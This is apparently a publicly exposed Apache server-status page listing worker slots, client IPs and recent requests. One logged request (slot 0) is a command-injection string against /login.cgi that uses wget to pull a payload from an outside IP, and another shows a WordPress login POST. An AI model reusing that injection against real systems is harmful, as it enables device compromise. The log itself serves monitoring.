_W_____......................................................... ................................................................ ......................
Scoreboard Key:
"_
" Waiting for Connection,
"S
" Starting up,
"R
" Reading Request,
"W
" Sending Reply,
"K
" Keepalive (read),
"D
" DNS Lookup,
"C
" Closing connection,
"L
" Logging,
"G
" Gracefully finishing,
"I
" Idle cleanup of worker,
".
" Open slot with no current process
Srv | PID | Acc | M | CPU | SS | Req | Conn | Child | Slot | Client | Protocol | VHost | Request |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0-41 | 19462 | 0/135/12482 | _ | 4.24 | 102 | 0 | 0.0 | 0.29 | 21.92 | 167.172.104.251 | http/1.1 | localhost:80 | GET /login.cgi?cli=aa%20aa%27;wget%20http://194.50.171.185/Veno |
1-41 | 19461 | 0/146/12052 | W | 5.97 | 0 | 0 | 0.0 | 0.32 | 19.26 | 3.81.29.254 | http/1.1 | localhost:80 | GET /server-status HTTP/1.1 |
2-41 | 19465 | 0/142/10889 | _ | 5.63 | 178 | 0 | 0.0 | 0.33 | 31.47 | 69.162.124.233 | http/1.1 | localhost:80 | HEAD / HTTP/1.1 |
3-41 | 19571 | 0/142/11054 | _ | 5.54 | 58 | 0 | 0.0 | 0.13 | 20.87 | 69.162.124.233 | http/1.1 | localhost:80 | HEAD / HTTP/1.1 |
4-41 | 19464 | 0/141/10884 | _ | 5.19 | 102 | 0 | 0.0 | 0.13 | 19.31 | 167.172.104.251 | http/1.1 | ||
5-41 | 20506 | 0/131/10020 | _ | 2.47 | 118 | 0 | 0.0 | 0.12 | 19.33 | 69.162.124.233 | http/1.1 | localhost:80 | HEAD / HTTP/1.1 |
6-41 | 19463 | 0/134/9095 | _ | 3.16 | 92 | 185 | 0.0 | 0.12 | 19.69 | 18.197.125.181 | http/1.1 | www.maharishi-ayurveda.org:80 | POST /wp-login.php HTTP/1.1 |
7-40 | - | 0/0/8026 | . | 2.36 | 40645 | 0 | 0.0 | 0.00 | 15.50 | 69.162.124.233 | http/1.1 | localhost:80 | HEAD / HTTP/1.1 |
8-40 | - | 0/0/7841 | . | 3.84 | 40645 | 0 | 0.0 | 0.00 | 15.86 | 69.162.124.233 | http/1.1 | localhost:80 | HEAD / HTTP/1.1 |
9-39 | - | 0/0/4143 | . | 52.90 | 127044 | 0 | 0.0 | 0.00 | 7.77 | 69.162.124.233 | http/1.1 | localhost:80 | HEAD / HTTP/1.1 |
10-39 | - | 0/0/3255 | . | 87.74 | 127044 | 0 | 0.0 | 0.00 | 6.64 | 69.162.124.233 | http/1.1 | localhost:80 | HEAD / HTTP/1.1 |
11-37 | - | 0/0/2444 | . | 1.34 | 342823 | 0 | 0.0 | 0.00 | 4.02 | ::1 | http/1.1 | ||
12-35 | - | 0/0/522 | . | 3.79 | 472644 | 0 | 0.0 | 0.00 | 0.66 | 69.162.124.233 | http/1.1 | localhost:80 | HEAD / HTTP/1.1 |
13-12 | - | 0/0/10 | . | 0.00 | 2490908 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
14-12 | - | 0/0/8 | . | 0.00 | 2490918 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
15-12 | - | 0/0/12 | . | 0.01 | 2490863 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
16-12 | - | 0/0/9 | . | 0.01 | 2490885 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
17-12 | - | 0/0/48 | . | 1.42 | 2490913 | 0 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ||
18-12 | - | 0/0/9 | . | 0.00 | 2490906 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
19-12 | - | 0/0/7 | . | 0.00 | 2490912 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
20-16 | - | 0/0/1113 | . | 0.05 | 2192491 | 0 | 0.0 | 0.00 | 1.07 | ::1 | http/1.1 | ||
21-15 | - | 0/0/578 | . | 0.59 | 2256381 | 0 | 0.0 | 0.00 | 0.63 | ::1 | http/1.1 | ||
22-12 | - | 0/0/7 | . | 0.00 | 2490927 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
23-12 | - | 0/0/8 | . | 0.00 | 2490915 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
24-26 | - | 0/0/4762 | . | 2.23 | 1282707 | 0 | 0.0 | 0.00 | 7.38 | ::1 | http/1.1 | ||
25-12 | - | 0/0/74 | . | 0.42 | 2459844 | 0 | 0.0 | 0.00 | 0.06 | 69.162.124.233 | http/1.1 | localhost:80 | HEAD / HTTP/1.1 |
26-12 | - | 0/0/72 | . | 0.60 | 2459844 | 0 | 0.0 | 0.00 | 0.05 | 69.162.124.233 | http/1.1 | localhost:80 | HEAD / HTTP/1.1 |
27-12 | - | 0/0/9 | . | 0.00 | 2490905 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
28-12 | - | 0/0/7 | . | 0.00 | 2490926 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
29-12 | - | 0/0/6 | . | 0.00 | 2490934 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
30-12 | - | 0/0/74 | . | 0.42 | 2459844 | 0 | 0.0 | 0.00 | 0.06 | 69.162.124.233 | http/1.1 | localhost:80 | HEAD / HTTP/1.1 |
31-12 | - | 0/0/8 | . | 0.00 | 2490914 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
32-12 | - | 0/0/74 | . | 0.59 | 2459844 | 0 | 0.0 | 0.00 | 0.08 | 69.162.124.233 | http/1.1 | localhost:80 | HEAD / HTTP/1.1 |
33-12 | - | 0/0/10 | . | 0.01 | 2490888 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
34-12 | - | 0/0/10 | . | 0.01 | 2490887 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
35-12 | - | 0/0/8 | . | 0.00 | 2490911 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
36-12 | - | 0/0/6 | . | 0.00 | 2490922 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
37-12 | - | 0/0/10 | . | 0.01 | 2490884 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
38-12 | - | 0/0/6 | . | 0.00 | 2490935 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
39-12 | - | 0/0/8 | . | 0.00 | 2490910 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
40-12 | - | 0/0/10 | . | 0.01 | 2490880 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
41-12 | - | 0/0/9 | . | 0.01 | 2490879 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
42-12 | - | 0/0/10 | . | 0.00 | 2490878 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
43-12 | - | 0/0/6 | . | 0.00 | 2490933 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
44-12 | - | 0/0/7 | . | 0.00 | 2490920 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
45-12 | - | 0/0/10 | . | 0.01 | 2490877 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
46-12 | - | 0/0/10 | . | 0.01 | 2490876 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
47-12 | - | 0/0/50 | . | 1.74 | 2490893 | 0 | 0.0 | 0.00 | 0.06 | ::1 | http/1.1 | ||
48-12 | - | 0/0/51 | . | 1.49 | 2490892 | 0 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ||
49-18 | - | 0/0/1681 | . | 0.82 | 1979350 | 0 | 0.0 | 0.00 | 1.83 | ::1 | http/1.1 | ||
50-12 | - | 0/0/9 | . | 0.01 | 2490871 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
51-13 | - | 0/0/411 | . | 0.70 | 2386857 | 0 | 0.0 | 0.00 | 0.57 | ::1 | http/1.1 | ||
52-12 | - | 0/0/49 | . | 1.94 | 2490894 | 0 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ||
53-12 | - | 0/0/9 | . | 0.01 | 2490870 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
54-12 | - | 0/0/5 | . | 0.00 | 2490930 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
55-12 | - | 0/0/9 | . | 0.01 | 2490869 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
56-12 | - | 0/0/8 | . | 0.01 | 2490868 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
57-12 | - | 0/0/9 | . | 0.01 | 2490867 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
58-12 | - | 0/0/8 | . | 0.01 | 2490881 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
59-12 | - | 0/0/6 | . | 0.00 | 2490917 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
60-12 | - | 0/0/7 | . | 0.00 | 2490907 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
61-12 | - | 0/0/5 | . | 0.00 | 2490929 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
62-12 | - | 0/0/45 | . | 1.07 | 2490924 | 0 | 0.0 | 0.00 | 0.03 | ::1 | http/1.1 | ||
63-12 | - | 0/0/48 | . | 1.07 | 2490890 | 0 | 0.0 | 0.00 | 0.05 | ::1 | http/1.1 | ||
64-12 | - | 0/0/8 | . | 0.01 | 2490866 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
65-12 | - | 0/0/8 | . | 0.01 | 2490865 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
66-12 | - | 0/0/8 | . | 0.01 | 2490864 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
67-12 | - | 0/0/5 | . | 0.00 | 2490916 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
68-12 | - | 0/0/4 | . | 0.00 | 2490928 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
69-12 | - | 0/0/44 | . | 1.58 | 2490925 | 0 | 0.0 | 0.00 | 0.04 | ::1 | http/1.1 | ||
70-12 | - | 0/0/70 | . | 0.64 | 2459844 | 0 | 0.0 | 0.00 | 0.05 | 69.162.124.233 | http/1.1 | localhost:80 | HEAD / HTTP/1.1 |
71-12 | - | 0/0/5 | . | 0.01 | 2490875 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
72-12 | - | 0/0/2 | . | 0.00 | 2490919 | 0 | 0.0 | 0.00 | 0.00 | ::1 | http/1.1 | ||
73-12 | - | 0/0/5 | . | 0.01 | 2490874 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 | ||
74-12 | - | 0/0/5 | . | 0.01 | 2490873 | 0 | 0.0 | 0.00 | 0.01 | ::1 | http/1.1 |
Srv | Child Server number - generation |
---|---|
PID | OS process ID |
Acc | Number of accesses this connection / this child / this slot |
M | Mode of operation |
CPU | CPU usage, number of seconds |
SS | Seconds since beginning of most recent request |
Req | Milliseconds required to process most recent request |
Conn | Kilobytes transferred this connection |
Child | Megabytes transferred this child |
Slot | Total megabytes transferred this slot |
SSL/TLS Session Cache Status: |
cache type: SHMCB, shared memory: 512000 bytes, current entries: 0 subcaches: 32, indexes per subcache: 88 index usage: 0%, cache usage: 0% total entries stored since starting: 15 total entries replaced since starting: 0 total entries expired since starting: 15 total (pre-expiry) entries scrolled out of the cache: 0 total retrieves since starting: 0 hit, 16 miss total removes since starting: 0 hit, 0 miss |